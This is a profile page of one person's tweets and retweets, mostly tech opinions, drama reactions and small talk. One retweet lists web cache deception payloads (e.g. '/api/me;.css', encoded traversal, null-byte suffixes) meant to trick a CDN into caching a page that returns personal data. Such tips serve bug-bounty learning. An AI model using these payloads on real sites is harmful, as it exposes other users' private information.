Andrew Virya Victorio

Just a boring guy that loves technology who shares his ups and downs in IT World.

[HackingHub @hackinghub_io]

Web cache deception tricks 🪄

GET /api/me → returns PII

Run these to trick the CDN into caching a sensitive endpoint:
🟥 GET /api/me;.css
🟥 GET /api/me/foo.css
🟥 GET /static/..%2fapi/me
🟥 GET /api/me%00.css
🟥 GET /profile%2f%2e%2e%2fstatic

Your ideal scenario: the origin ignores the trailing junk (; param, extra path segment, encoded traversal) and returns private data anyway, but the CDN only sees the .css suffix and caches it as static.

NOTE: Also try other delimiters, file extensions, and static directories.

[Programming Wisdom @CodeWisdom]

"Testing leads to failure, and failure leads to understanding." - Burt Rutan

[Nuice Media @nuicemedia]

They’re kidding, right? They want to make an animal park right in the middle of a jungle?

[Andrew Virya Victorio @avv_210]

@VALORANTLeaksEN @rival @team37_id hehe

[Andrew Virya Victorio @avv_210]

Even though I'm posting this to get a 35% off coupon, I cant avoid saying it's freaking cool: https://t.co/I5YEGLYsLP

[Andrew Virya Victorio @avv_210]

I just started transferring my domains to Cloudflare, the world's first no-markup registrar. #Cloudflare

[Andrew Virya Victorio @avv_210]

https://t.co/ef2vKacFLt

[jules 💎 FREE PALESTINE, SUDAN, CONGO @junealogy_]

WHY DOES THIS YOON EUNSUNG GUY SO INFURIATING INIWANAN MO ANG PAMILYA KO LEAVE HAEWOO ALONE

[Andrew Virya Victorio @avv_210]

Yoon Eun Sung itu definisi cowok paling obsesif dan paling brengsek. Bisa dibilang cara apapun bakal dia lakuin buat mencapai tujuan dia. Sumpah liat muka, cara ngomong, nada ngomong, semuanya dari rambut sampe kaki bikin gw emosi sama Eun Sung 🤬🤬🖕🖕 #qot #QUEENOFTEARS

[Andrew Virya Victorio @avv_210]

@heyeaslo Team C

[ishan @ishanxnagpal]

@Prathkum And a GitHub app called https://t.co/yPk6wD1EqD as well 🫡

[Andrew Virya Victorio @avv_210]

Every dynamic type programming language will use type safe in a matter of time.

[Charles Patterson @CharlesPattson]

Sony XM5 > Apple Airpods Max

[Andrew Virya Victorio @avv_210]

Yeah, code readability should be considered if you want to make your devs life much easier.

[Andrew Virya Victorio @avv_210]

I'm not impressed by how well you design your software or how well your code is written. Software is about User Experience (UX) and how scalable your software is. It doesn't matter if your design looks good but can't handle millions of MAU.

[Andrew Virya Victorio @avv_210]

I know that design is the first impression of the software. But come on, many designers design software that's too complex. You have to find the balance point between UI & UX.

[Andrew Virya Victorio @avv_210]

Big dreams can be achieved with small and consistent actions.

[Andrew Virya Victorio @avv_210]

Umur sgini mulai suka sama perabotan & alat pembersih 🙏

[Andrew Virya Victorio @avv_210]

@wiseconnector Kick?